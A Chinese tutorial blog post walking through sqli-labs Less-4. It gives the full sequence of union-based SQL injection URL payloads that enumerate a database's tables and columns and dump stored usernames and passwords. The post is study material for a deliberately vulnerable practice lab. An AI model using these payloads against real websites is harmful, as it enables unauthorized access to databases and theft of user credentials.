sqli-lab教程Less-4

less-4

sqli-lab通过各种方式(整型注入,字符注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。

学习sqli注入必备语句:
查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)

查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)

查字段的值:select username,password from security.users(此处拿username,password字段为例)

1.加双引号试探看出,此处是用双引号+单引号包裹的,使用双引号+单引号注入
在这里插入图片描述

2.使用- -+闭合,回显恢复
在这里插入图片描述

3.使用order by语句判断列数
在这里插入图片描述

4.发现有三列
在这里插入图片描述

5.使用union select联合查询,把id改成一个不存在的值使得有回显位

?id=-1") union select 1,2,3 --+

在这里插入图片描述

6.进行爆库操作

?id=-1") union select 1,2,database() --+

在这里插入图片描述

7.进行爆表操作

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat:将所有的数据连接进行拼接后作为一行显示
where:指定库的位置
在这里插入图片描述

8.进行爆字段操作

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述

9.进行爆字段值操作

?id=-1") union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+

concat_ws(’~’,A,B)
显示为(A~B),用于区分用户名、密码在这里插入图片描述

注入完成! 这是方法之一,后期会出sqlmap工具等教程…

有志者,事竟成!希望你学有所成,加油吧!♥♥♥

如文章有错误感谢指出,联系Q:2181796086

如文章有帮助点赞关注一下吧!

猜你喜欢

转载自blog.csdn.net/lq56789/article/details/115113781